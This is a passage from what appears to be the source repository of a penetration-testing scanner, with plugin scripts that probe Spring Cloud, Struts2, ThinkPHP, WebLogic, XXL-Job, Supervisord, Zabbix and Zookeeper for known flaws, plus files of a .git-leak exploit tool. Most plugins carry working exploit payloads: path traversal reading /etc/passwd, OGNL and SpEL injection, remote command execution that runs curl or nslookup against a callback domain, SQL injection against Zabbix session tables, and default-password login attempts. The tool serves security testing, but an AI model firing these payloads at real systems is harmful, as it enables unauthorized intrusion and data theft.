'Splunk Admin: {}'.format(site)} 33 | 34 | 35 | if __name__ == '__main__': 36 | scan = do_scan('easypen-test.lijiejie.com', 8000, 'https', True, task_msg={}) 37 | run_plugin_test(scan) 38 | -------------------------------------------------------------------------------- /scripts/spring_cloud_config_directory_traveral_cve_2020_5405.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | from lib.poc.dummy import * 4 | 5 | 6 | @http_scan 7 | async def do_scan(ip, port, service, is_http, task_msg): 8 | base_url = '{}://{}:{}'.format(service, ip, port) 9 | for path in ['/a/b/' + '..(_)' * 10 + '/etc/passwd', '/a/b/master/' + '..%252F' * 2 + 'etc%252Fpasswd']: 10 | target_url = base_url + path 11 | try: 12 | r = await http_client(ip, port).get(target_url, timeout=10) 13 | if r.status_code == 200 and 'root:x:0:0' in r.text: 14 | ret = { 15 | 'alert_group': 'Sprint Cloud Config Server Directory Traversal(CVE-2020-5405)', 16 | 'affects': base_url, 17 | 'details': 'Sprint Cloud Config Server Directory Traversal\n\n' + target_url 18 | } 19 | return ret 20 | except Exception as e: 21 | debug(e) 22 | 23 | 24 | if __name__ == '__main__': 25 | scan = do_scan('easypen-test.lijiejie.com', 2985, 'http', True, task_msg={}) 26 | run_plugin_test(scan) 27 | -------------------------------------------------------------------------------- /scripts/spring_cloud_config_server_cve_2020_5410.py: -------------------------------------------------------------------------------- 1 | from lib.poc.dummy import * 2 | 3 | 4 | async def test_path(ip, port, url, path): 5 | r = await http_client(ip, port).get(url + path, timeout=10) 6 | if r.status_code == 200 and 'Content-Type' in r.headers and r.headers.get( 7 | 'Content-Type') == 'application/json' and 'Server' not in r.headers and \ 8 | r.text.startswith('{"name":"') and '"/bin/bash"' in r.text: 9 | return True 10 | return False 11 | 12 | 13 | @http_scan 14 | async def do_scan(ip, port, service, is_http, task_msg): 15 | paths = [ 16 | '/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..' 17 | '%252F..%252Fetc%252Fshells%23foo/development', 18 | '/..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..%252F..' 19 | '%252F..%252Fetc%252Fshellz%23foo/development'] 20 | try: 21 | 22 | url = '{}://{}:{}'.format(service, ip, port) 23 | if await test_path(ip, port, url, paths[0]) and not await test_path(url, paths[1]): 24 | ret = { 25 | 'alert_group': 'Sprint Cloud Config Server Directory Traversal(CVE-2020-5410)', 26 | 'affects': '{}://{}:{}'.format(service, ip, port), 27 | 'details': 'Sprint Cloud Config Server Directory Traversal(CVE-2020-5410)\n' 28 | '{}'.format(url + paths[0]) 29 | } 30 | return ret 31 | except Exception as e: 32 | debug(e) 33 | 34 | 35 | if __name__ == '__main__': 36 | scan = do_scan('easypen-test.lijiejie.com', 8888, 'http', True, task_msg={}) 37 | run_plugin_test(scan) 38 | -------------------------------------------------------------------------------- /scripts/spring_cloud_function_rce_20220330.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | if not conf.dnslog_enabled: 10 | return 11 | details = '影响版本: 3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2\n' \ 12 | '参考链接: \n' \ 13 | 'https://www.anquanke.com/post/id/271221\n' \ 14 | 'https://github.com/spring-cloud/spring-cloud-function/' \ 15 | 'commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f\n' 16 | domain = dns_monitor(ip, port).add_checker('spring-cloud-function-rce', 17 | alert_group='Spring Cloud Function RCE', 18 | details=details) 19 | 20 | payload = 'T(java.lang.Runtime).getRuntime().exec("nslookup %s")' % domain 21 | headers = {"spring.cloud.function.routing-expression": payload} 22 | try: 23 | await http_client(ip, port).get("{}://{}:{}/".format(service, ip, port), headers=headers, timeout=10) 24 | except Exception as e: 25 | debug(e) 26 | 27 | 28 | if __name__ == '__main__': 29 | scan = do_scan('easypen-test.lijiejie.com', 8888, 'http', True, task_msg={}) 30 | run_plugin_test(scan) 31 | -------------------------------------------------------------------------------- /scripts/spring_security_bypass_cve_2022_22978.py: -------------------------------------------------------------------------------- 1 | # -*- coding:utf-8 -*- 2 | 3 | from lib.poc.dummy import * 4 | 5 | 6 | @http_scan 7 | async def do_scan(ip, port, service, is_http, task_msg): 8 | base_url = '{}://{}:{}'.format(service, ip, port) 9 | 10 | try: 11 | r = await http_client(ip, port).get(base_url + '/admin/test', timeout=10) 12 | if r.status_code in [401, 403]: 13 | r = await http_client(ip, port).get(base_url + '/admin/%0atest', timeout=10) 14 | if r.status_code == 200: 15 | ret = { 16 | 'alert_group': 'Sprint Security Bypass(CVE-2022-22978)', 17 | 'affects': base_url, 18 | 'details': 'Sprint Security Bypass(CVE-2022-22978)\n\n' + 19 | base_url + '/admin/%0atest\n\n' + 20 | 'Reference: https://nosec.org/home/detail/5006.html\n' 21 | } 22 | return ret 23 | except Exception as e: 24 | debug(e) 25 | 26 | 27 | if __name__ == '__main__': 28 | scan = do_scan('easypen-test.lijiejie.com', 80, 'http', True, task_msg={}) 29 | run_plugin_test(scan) 30 | -------------------------------------------------------------------------------- /scripts/struts2_ognl_console.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | try: 10 | url = '%s://%s:%s/struts/webconsole.html' % (service, ip, port) 11 | r = await http_client(ip, port).get(url, timeout=20) 12 | 13 | if r.status_code == 200 and "Welcome to the OGNL console" in r.text: 14 | ret = { 15 | 'alert_group': 'Struts2 OGNL Console', 16 | 'affects': '%s://%s:%s' % (service, ip, port), 17 | 'details': 'Struts2 OGNL Console\n\n' + url 18 | } 19 | return ret 20 | except Exception as e: 21 | debug(e) -------------------------------------------------------------------------------- /scripts/struts2_rce_045.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | url = '{}://{}:{}/'.format(service, ip, port) 10 | payload = random_str(8) 11 | 12 | ct = "%{#context['com.opensymphony.xwork2.dispatcher.HttpServletResponse'].addHeader('X-Security'," 13 | ct += "'%s'" % payload 14 | ct += ")}.multipart/form-data" 15 | 16 | try: 17 | r = await http_client(ip, port).get(url, headers={'Content-Type': ct}, timeout=20) 18 | 19 | if 'X-Security' in r.headers and r.headers['X-Security'] == payload: 20 | ret = { 21 | 'alert_group': 'Struts2 s02-45 RCE', 22 | 'affects': url, 23 | 'details': 'with content-type:[\n{ct}\n] to request Url, ' 24 | 'return the header of response: [\n{rh}\n]'.format(ct=ct, rh=r.headers) 25 | } 26 | return ret 27 | except Exception as e: 28 | debug(e) 29 | 30 | 31 | if __name__ == '__main__': 32 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'http', True, task_msg={}) 33 | run_plugin_test(scan) 34 | -------------------------------------------------------------------------------- /scripts/struts2_rce_057.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | 10 | poc = '/${(200000+333333)}' 11 | target = '{}://{}:{}{}/index.action'.format(service, ip, port, poc) 12 | # target = '{}://{}:{}/struts2-showcase{}/actionChain1!.action'.format(service, ip, port, poc) 13 | 14 | try: 15 | 16 | r = await http_client(ip, port).get(target, timeout=20) 17 | if r.headers.get('location', '').find('533333') > -1: 18 | ret = { 19 | 'alert_group': 'Struts2 057 RCE', 20 | 'affects': target, 21 | 'details': 'Request {}\n' 22 | 'Url redirected to {}'.format(target, r.headers.get('location', '')) 23 | } 24 | return ret 25 | except Exception as e: 26 | debug(e) 27 | 28 | 29 | if __name__ == '__main__': 30 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'http', True, task_msg={}) 31 | run_plugin_test(scan) 32 | -------------------------------------------------------------------------------- /scripts/supervisord_remote_command_execute.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | import random 6 | try: 7 | from aiohttp_xmlrpc.client import ServerProxy # pyinstaller only, to be analysed 8 | except Exception as e: 9 | pass 10 | 11 | 12 | @http_scan 13 | async def do_scan(ip, port, service, is_http, task_msg): 14 | if port != 9001: 15 | return 16 | 17 | try: 18 | target = '%s://%s:9001/RPC2' % (service, ip) 19 | proxy = ServerProxy(target) 20 | old = await getattr(proxy, 'supervisor.readLog')(0, 0) 21 | a = random.randint(10000000, 20000000) 22 | b = random.randint(10000000, 20000000) 23 | command = 'expr ' + str(a) + ' + ' + str(b) 24 | logfile = await getattr(proxy, 'supervisor.supervisord.options.logfile.strip')() 25 | await getattr(proxy, 'supervisor.supervisord.options.warnings.linecache.os.system' 26 | )('{} | tee -a {}'.format(command, logfile)) 27 | result = await getattr(proxy, 'supervisor.readLog')(0, 0) 28 | if result[len(old):].strip() == str(a+b): 29 | ret = { 30 | 'alert_group': 'Supervisord Remote Code Execution', 31 | 'affects': target, 32 | 'details': 'Supervisord Remote Code Execution: %s://%s:9001' % (service, ip) 33 | } 34 | return ret 35 | except Exception as e: 36 | debug(e) 37 | finally: 38 | if 'proxy' in vars(): 39 | await proxy.close() 40 | 41 | 42 | if __name__ == '__main__': 43 | scan = do_scan('easypen-test.lijiejie.com', 9001, 'http', True, task_msg={}) 44 | run_plugin_test(scan) 45 | -------------------------------------------------------------------------------- /scripts/thinkphp_5_0_23_code_execution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | 10 | for path in ['public/index.php', 'index.php', 'html/public/index.php']: 11 | try: 12 | data = {'_method': '__construct', 13 | 'filter[]': 'system', 14 | 'method': 'get', 15 | 'server[REQUEST_METHOD]': 'echo Security@Test|md5sum'} 16 | url = '{}://{}:{}/{}?s=captcha'.format(service, ip, port, path) 17 | 18 | r = await http_client(ip, port).post(url, data=data, timeout=20) 19 | if 'd093ac0748f983ea5b4c1ffc83ea3344' in r.text: 20 | ret = { 21 | 'alert_group': 'ThinkPHP v5.0.23 Code Execution', 22 | 'affects': '{}:{}'.format(ip, port), 23 | 'details': url + '\n is vulnerable to ThinkPHP v5.0.23 Code Execution' 24 | } 25 | return ret 26 | except Exception as e: 27 | debug(e) 28 | 29 | 30 | if __name__ == '__main__': 31 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'http', True, task_msg={}) 32 | run_plugin_test(scan) 33 | -------------------------------------------------------------------------------- /scripts/thinkphp_5_code_execution.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/evn python 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | import rfc3986 6 | 7 | 8 | @http_scan 9 | async def do_scan(ip, port, service, is_http, task_msg): 10 | 11 | payload = '?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Security@Test' 12 | 13 | for path in ['public/index.php', 'index.php', 'html/public/index.php']: 14 | try: 15 | url = '{}://{}:{}/{}{}'.format(service, ip, port, path, payload) 16 | r = await http_client(ip, port).get(url, timeout=20) 17 | if 'ed4c83e5a2b16420180747b356b4f7a8' in r.text: 18 | ret = {'alert_group': 'ThinkPHP Code Execution', 19 | 'affects': '{}:{}'.format(ip, port), 20 | 'thinkphp rce details': url} 21 | return ret 22 | except rfc3986.exceptions.ResolutionError as e: 23 | pass 24 | except Exception as e: 25 | debug(e) 26 | 27 | 28 | if __name__ == '__main__': 29 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'http', True, task_msg={}) 30 | run_plugin_test(scan) 31 | -------------------------------------------------------------------------------- /scripts/tomcat_weak_password.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | is_tomcat = False 7 | 8 | 9 | async def auth_success(ip, port, url, auth): 10 | try: 11 | r = await http_client(ip, port).get(url, auth=auth, timeout=20) 12 | if r.status_code in [200, 301, 302]: 13 | if r.text.find("Tomcat Web Application Manager") >= 0: 14 | global is_tomcat 15 | is_tomcat = True 16 | return True 17 | except Exception as e: 18 | debug(e) 19 | 20 | 21 | @http_scan 22 | async def do_scan(ip, port, service, is_http, task_msg): 23 | try: 24 | url = '%s://%s:%s/manager/html' % (service, ip, port) 25 | r = await http_client(ip, port).get(url, timeout=20) 26 | if r.status_code == 401: 27 | 28 | for auth in [('tomcat', 'tomcat'), ('admin', 'admin'), ('admin', 'tomcat'), ('tomcat', 'admin')]: 29 | if await auth_success(ip, port, url, auth) and \ 30 | not await auth_success(ip, port, url, ('bad-user', 'bad-password')): 31 | global is_tomcat 32 | ret = { 33 | 'alert_group': 'Tomcat Weak Password' if is_tomcat else 'Basic Auth Weak Pass', 34 | 'affects': url, 35 | 'details': 'Basic Auth Weak Password Found: \n\n' 36 | '%s %s' % (url, auth) 37 | } 38 | return ret 39 | except Exception as e: 40 | debug(e) 41 | 42 | 43 | if __name__ == '__main__': 44 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'http', True, task_msg={}) 45 | run_plugin_test(scan) 46 | -------------------------------------------------------------------------------- /scripts/weblogic_rce_cve_2020_14882_14883.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | if not conf.dnslog_enabled: 10 | return 11 | try: 12 | details = u"""\ 13 | 目标存在WebLogic CVE-2020-14882 & CVE-2020-14883 漏洞, 14 | 未授权执行任意命令,获取系统权限 15 | 影响版本: 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. 及以下 16 | 需要升级到对应版本以上,推荐最新版本\n""" 17 | domain = dns_monitor(ip, port).add_checker( 18 | 'weblogic-cve-2020-14882', alert_group='WebLogic RCE CVE-2020-14883', details=details) 19 | 20 | base_url = "{}://{}:{}".format(service, ip, port) 21 | path = "/console/images/%252E%252E%252Fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=" \ 22 | "com.tangosol.coherence.mvel2.sh.ShellSession(%22java.lang.Runtime.getRuntime()." \ 23 | "exec(%27curl%20{}%27);%22);".format('http://' + domain) 24 | 25 | r = await http_client(ip, port).get(base_url + path, timeout=20) 26 | 27 | if "No handle class found for type: com.tangosol.coherence.mvel2.sh.ShellSession" in r.text: 28 | ret = { 29 | 'alert_group': 'WebLogic Auth Bypass CVE-2020-14882', 30 | 'affects': base_url, 31 | 'details': u"URL: {} \n存在WebLogic CVE-2020-14882 漏洞,通过该漏洞可以在未授权的情报下," 32 | u"执行任意命令,获取系统权限\n".format(base_url + path) + 33 | u"影响版本 10.3.6.0.0, 12.1.3.0.0, 12.2.1.3.0, 12.2.1.4.0 and 14.1.1.0.0. 及以下\n" 34 | u"需要升级到对应版本以上,推荐最新版本" 35 | } 36 | return ret 37 | 38 | except Exception as e: 39 | debug(e) 40 | 41 | 42 | if __name__ == '__main__': 43 | scan = do_scan('easypen-test.lijiejie.com', 7001, 'http', True, task_msg={}) 44 | run_plugin_test(scan) 45 | -------------------------------------------------------------------------------- /scripts/weblogic_uddi_explorer_ssrf.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | from lib.poc.dummy import * 4 | 5 | 6 | @http_scan 7 | async def do_scan(ip, port, service, is_http, task_msg): 8 | try: 9 | url = '%s://%s:%s/' % (service, ip, port) + \ 10 | '/uddiexplorer/SearchPublicRegistries.jsp?operator=operator' \ 11 | '=10.301.0.0:80&rdoSearch=name&txtSearchname=sdf&' \ 12 | 'txtSearchkey=&txtSearchfor=&selfor=Businesslocation&btnSubmit=Search' 13 | 14 | r = await http_client(ip, port).get(url, timeout=20) 15 | if r.status_code == 200 and 'weblogic.uddi.client.structures.exception.XML_SoapException: ' \ 16 | 'no protocol: operator=10.301.0.0:80' in r.text: 17 | ret = { 18 | 'alert_group': 'WebLogic UDDI Explorer SSRF', 19 | 'affects': '%s://%s:%s/' % (service, ip, port), 20 | 'details': 'WebLogic UDDI Explorer SSRF :\n %s' % url 21 | } 22 | return ret 23 | except Exception as e: 24 | debug(e) 25 | 26 | 27 | if __name__ == '__main__': 28 | scan = do_scan('easypen-test.lijiejie.com', 9000, 'http', True, task_msg={}) 29 | run_plugin_test(scan) 30 | -------------------------------------------------------------------------------- /scripts/weblogic_wls_wsat_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | import os 5 | from lib.poc.dummy import * 6 | 7 | 8 | @http_scan 9 | async def do_scan(ip, port, service, is_http, task_msg): 10 | 11 | url = '{}://{}:{}/wls-wsat/CoordinatorPortType'.format(service, ip, port) 12 | headers = { 13 | 'SOAPAction': '', 14 | 'CMD': 'cat /etc/passwd', 15 | 'Content-Type': 'text/xml; charset=UTF-8' 16 | } 17 | try: 18 | cwd = os.path.split(__file__)[0] 19 | with open(os.path.join(cwd, 'weblogic_wls_wsat_rce.dat')) as f: 20 | data = f.read() 21 | 22 | r = await http_client(ip, port).post(url, data=data, headers=headers, timeout=20) 23 | if r.status_code == 200 and 'root:x:0' in r.text: 24 | ret = { 25 | 'alert_group': 'WebLogic wls-wsat RCE', 26 | 'affects': '%s://%s:%s' % (service, ip, port), 27 | 'details': 'WebLogic wls-wsat RCE, content of /etc/passwd: \n {}'.format(r.content[:200]) 28 | } 29 | return ret 30 | except Exception as e: 31 | debug(e) 32 | 33 | 34 | if __name__ == "__main__": 35 | scan = do_scan('easypen-test.lijiejie.com', 7001, 'http', True, task_msg={}) 36 | run_plugin_test(scan) 37 | 38 | -------------------------------------------------------------------------------- /scripts/xxl_job_executor_rce.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | import random 6 | 7 | 8 | @http_scan 9 | async def do_scan(ip, port, service, is_http, task_msg): 10 | if not conf.dnslog_enabled: 11 | return 12 | try: 13 | headers = {"XXL-JOB-ACCESS-TOKEN": "", "Cookie": "XXL_JOB_LOGIN_INDENTITY=1"} 14 | target = "{}://{}:{}/run".format(service, ip, port) 15 | 16 | r = await http_client(ip, port).get(target, headers=headers, timeout=20) 17 | if r.text != '{"code":500,"msg":"invalid request, HttpMethod not support."}': 18 | return 19 | 20 | details = u"未配置AccessToken的情况下,在2.2.0版本的executor会存在HTTP的REST API接口\n" +\ 21 | u"导致可以通过HTTP来在executor上执行系统命令" 22 | domain = dns_monitor(ip, port).add_checker('xxl-job-unauth', 23 | alert_group='Xxl-job Executor API Unauthorized Access', 24 | details=details) 25 | 26 | job_id = random.randint(1000000, 9999999) 27 | data = {"glueUpdatetime": 1586629003727, "executorBlockStrategy": "COVER_EARLY", 28 | "glueSource": "curl http://{}".format(domain), "jobId": job_id, 29 | "logId": 1, "executorParams": "demoJobHandler", "broadcastIndex": 0, 30 | "executorHandler": "demoJobHandler", "logDateTime": 1586629003729, 31 | "glueType": "GLUE_SHELL", "broadcastTotal": 0, "executorTimeout": 0} 32 | 33 | target = "{}://{}:{}/run".format(service, ip, port) 34 | await http_client(ip, port).post(target, json=data, headers=headers, timeout=20) 35 | except Exception as e: 36 | debug(e) 37 | 38 | 39 | if __name__ == '__main__': 40 | scan = do_scan('easypen-test.lijiejie.com', 9999, 'http', True, task_msg={}) 41 | run_plugin_test(scan) 42 | -------------------------------------------------------------------------------- /scripts/xxl_job_unauth_api.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | try: 10 | target = '{}://{}:{}{}'.format(service, ip, port, '/xxl-job-admin/api/registry') 11 | data = { 12 | "registryGroup": "EXECUTOR", 13 | "registryKey": "xxl-job-executor-example", 14 | "registryValue": "http://127.0.0.1:9999/" 15 | } 16 | headers = {"XXL-JOB-ACCESS-TOKEN": ""} 17 | r = await http_client(ip, port).post(target, json=data, headers=headers, timeout=20) 18 | if 'code' not in r.text: 19 | return 20 | if r.status_code == 200 and r.json()['code'] == 200: 21 | 22 | target2 = '{}://{}:{}{}'.format(service, ip, port, "/xxl-job-admin/api/registryRemove") 23 | r = await http_client(ip, port).post(target2, json=data, headers=headers, timeout=20) 24 | if r.status_code == 200 and r.json()['code'] == 200: 25 | ret = { 26 | 'alert_group': 'XXL-Job API Unauthorized Access', 27 | 'affects': '%s://%s:%s' % (service, ip, port), 28 | 'details': u"该漏洞是因为accessToken未配置,任何人都可以对/api/register接口进行请求," 29 | u"注册executor或者删除等," 30 | u"需要配置上accessToken 以防未授权访问" 31 | } 32 | return ret 33 | except json.decoder.JSONDecodeError as e: 34 | pass 35 | except Exception as e: 36 | debug(e) 37 | 38 | 39 | if __name__ == '__main__': 40 | scan = do_scan('easypen-test.lijiejie.com', 8080, 'http', True, task_msg={}) 41 | run_plugin_test(scan) 42 | -------------------------------------------------------------------------------- /scripts/zabbix_default_authentication.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | if service != 'http': 10 | return 11 | try: 12 | url = 'http://%s:%s/index.php' % (ip, port) 13 | data = "request=&name=Admin&password=zabbix&autologin=1&enter=Sign+in" 14 | 15 | r = await http_client(ip, port).post(url, data=data, timeout=20) 16 | 17 | if r.status_code == 200: 18 | m = re.search("Connected as 'Admin'", r.text) 19 | if m: 20 | ret = { 21 | 'alert_group': 'Zabbix SQL Injection', 22 | 'affects': 'http://%s:%s/index.php' % (ip, port), 23 | 'details': 'Zabbix Default Account Authentication :\n\n%s Admin / zabbix' % url 24 | } 25 | return ret 26 | except Exception as e: 27 | debug(e) 28 | -------------------------------------------------------------------------------- /scripts/zabbix_httpmon_sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | from lib.poc.dummy import * 4 | 5 | 6 | @http_scan 7 | async def do_scan(ip, port, service, is_http, task_msg): 8 | if service != 'http': 9 | return 10 | try: 11 | payload = "/httpmon.php?applications=2%20and%20%28select%201%20from%20%28select%20count%28*%29," \ 12 | "concat%28%28select%28select%20concat%28cast%28concat%28md5('123'),0x7e,userid,0x7e," \ 13 | "status%29%20as%20char%29,0x7e%29%29%20from%20zabbix.sessions%20where%20status=0%20and%20" \ 14 | "userid=1%20LIMIT%200,1%29,floor%28rand%280%29*2%29%29x%20from%20" \ 15 | "information_schema.tables%20group%20by%20x%29a%29" 16 | url = '%s://%s:%s' % (service, ip, port) + payload 17 | 18 | r = await http_client(ip, port).get(url, timeout=20) 19 | if r.status_code == 200: 20 | if r.text.find("202cb962ac59075b964b07152d234b70") >= 0: 21 | ret = { 22 | 'alert_group': 'Zabbix SQL Injection', 23 | 'affects': '%s://%s:%s' % (service, ip, port), 24 | 'details': 'Zabbix httpmon.php sql injection found:\n\n %s' % url 25 | } 26 | return ret 27 | except Exception as e: 28 | debug(e) 29 | -------------------------------------------------------------------------------- /scripts/zabbix_popup_sqli.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding: utf-8 -*- 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | @http_scan 8 | async def do_scan(ip, port, service, is_http, task_msg): 9 | if service != 'http': 10 | return 11 | try: 12 | payload = "/popup.php?dstfrm=form_scenario&dstfld1=application&srctbl=applications&" \ 13 | "srcfld1=name&only_hostid=-1))%20" \ 14 | "union%20select%201,group_concat(md5('123'))%20from%20users%23" 15 | url = 'http://%s:%s' % (ip, port) + payload 16 | 17 | r = await http_client(ip, port).get(url, headers={"User-Agent": GLOBAL_USER_AGENT}, timeout=20) 18 | 19 | if r.status_code == 200: 20 | m = re.search("202cb962ac59075b964b07152d234b70", r.text) 21 | if m: 22 | ret = { 23 | 'alert_group': 'Zabbix SQL Injection', 24 | 'affects': 'http://%s:%s' % (ip, port), 25 | 'details': 'Zabbix popup.php SQL Injection:\n\n%s' % url 26 | } 27 | return ret 28 | except Exception as e: 29 | debug(e) 30 | 31 | 32 | if __name__ == '__main__': 33 | scan = do_scan('easypen-test.lijiejie.com', 8043, 'http', True, task_msg={}) 34 | run_plugin_test(scan) 35 | -------------------------------------------------------------------------------- /scripts/zookeeper_unauthorized_access.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # coding=utf-8 3 | 4 | from lib.poc.dummy import * 5 | 6 | 7 | async def do_scan(ip, port, service, is_http, task_msg): 8 | if port != 2181 and not service.lower().startswith('zookeeper'): 9 | return 10 | 11 | # if is_intranet(ip): # do not scan intranet IPs 12 | # return 13 | 14 | try: 15 | reader, writer = await asyncio.open_connection(ip, port) 16 | writer.write(b"envi") 17 | await writer.drain() 18 | data = await asyncio.wait_for(reader.read(1000), 5) 19 | writer.close() 20 | try: 21 | await writer.wait_closed() # application data after close notify (_ssl.c:2730) 22 | except Exception as e: 23 | pass 24 | 25 | if b"Environment" in data: 26 | msg = "[zookeeper unauthorized access] zookeeper://%s:%s" % (ip, port) 27 | ret = { 28 | 'alert_group': 'Zookeeper Unauthorized Access', 29 | 'affects': 'zookeeper://%s:%s' % (ip, port), 30 | 'details': msg 31 | } 32 | return ret 33 | except Exception as e: 34 | debug(e) 35 | 36 | 37 | if __name__ == '__main__': 38 | scan = do_scan('easypen-test.lijiejie.com', 2181, 'zookeeper', False, task_msg={}) 39 | run_plugin_test(scan) 40 | -------------------------------------------------------------------------------- /tests/test_poc_scanner.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import pprint 3 | import asyncio 4 | from lib.poc_scan import PocScanner 5 | 6 | 7 | async def test_check(): 8 | msg = {'ip': 'easypen-test.lijiejie.com', 'port': 8080, 'service': 'http', 'is_http': True, 'policy_name': '', 9 | 'plugin_list': []} 10 | s = PocScanner(msg, is_brute_scanner=False) 11 | r = await s.scan() 12 | pprint.pprint(r) 13 | 14 | 15 | if __name__ == '__main__': 16 | logger = logging.getLogger("port_crack") 17 | logger.setLevel(logging.DEBUG) 18 | ch = logging.StreamHandler() 19 | ch.setLevel(logging.DEBUG) 20 | # add ch to logger 21 | logger.addHandler(ch) 22 | loop = asyncio.get_event_loop() 23 | task = loop.create_task(test_check()) 24 | loop.run_until_complete(task) 25 | -------------------------------------------------------------------------------- /tools/GitHack/GitHack.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python ; coding: utf-8 -*- 2 | 3 | 4 | block_cipher = None 5 | 6 | 7 | a = Analysis( 8 | ['GitHack.py'], 9 | pathex=[], 10 | binaries=[], 11 | datas=[], 12 | hiddenimports=[], 13 | hookspath=[], 14 | hooksconfig={}, 15 | runtime_hooks=[], 16 | excludes=[], 17 | win_no_prefer_redirects=False, 18 | win_private_assemblies=False, 19 | cipher=block_cipher, 20 | noarchive=False, 21 | ) 22 | pyz = PYZ(a.pure, a.zipped_data, cipher=block_cipher) 23 | 24 | exe = EXE( 25 | pyz, 26 | a.scripts, 27 | a.binaries, 28 | a.zipfiles, 29 | a.datas, 30 | [], 31 | name='GitHack', 32 | debug=False, 33 | bootloader_ignore_signals=False, 34 | strip=False, 35 | upx=True, 36 | upx_exclude=[], 37 | runtime_tmpdir=None, 38 | console=True, 39 | disable_windowed_traceback=False, 40 | argv_emulation=False, 41 | target_arch=None, 42 | codesign_identity=None, 43 | entitlements_file=None, 44 | icon='..\\..\\ui\\resource\\tools\\GitHack.png', 45 | ) 46 | -------------------------------------------------------------------------------- /tools/GitHack/README.md: -------------------------------------------------------------------------------- 1 | # GitHack 2 | 3 | 4 | ### This is important 5 | ### All users please git pull to update source code. (2022-05-09) 6 | 7 | GitHack is a `.git` folder disclosure exploit. 8 | 9 | It rebuild source code from .git folder while keep directory structure unchanged. 10 | 11 | GitHack是一个.git泄露利用脚本,通过泄露的.git文件夹下的文件,重建还原工程源代码。 12 | 13 | 渗透测试人员、攻击者,可以进一步审计代码,挖掘:文件上传,SQL注射等web安全漏洞。 14 | 15 | ## Change Log 16 | 17 | * 2022-05-09: Bug fix, thanks [@justinsteven](https://github.com/justinsteven) . 18 | * 2022-04-07:Fix arbitrary file write vulnerability. Thanks for [@justinsteven](https://github.com/justinsteven) \'s bug report, it's very helpful. 19 | * 2022-04-07:Add python3.x support 20 | 21 | ## How It works ## 22 | 23 | * 解析.git/index文件,找到工程中所有的: ( 文件名,文件sha1 ) 24 | * 去.git/objects/ 文件夹下下载对应的文件 25 | * zlib解压文件,按原始的目录结构写入源代码 26 | 27 | ## Usage ## 28 | python GitHack.py http://www.openssl.org/.git/ 29 | 30 | ## Thanks ## 31 | Thanks for sbp's great work, I used his .git index parser [gin - a Git index file parser](https://github.com/sbp/gin). 32 | 33 | -------------------------------------------------------------------------------- /tools/GitHack/lib/__init__.py: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/lijiejie/EasyPen/7a56ee9c1f316147d3f7425169552281a403f815/tools/GitHack/lib/__init__.py -------------------------------------------------------------------------------- /tools/ds_store_exp/.gitignore: -------------------------------------------------------------------------------- 1 | *.py[cod] 2 | .idea/* -------------------------------------------------------------------------------- /tools/ds_store_exp/ds_store_exp.spec: -------------------------------------------------------------------------------- 1 | # -*- mode: python ; 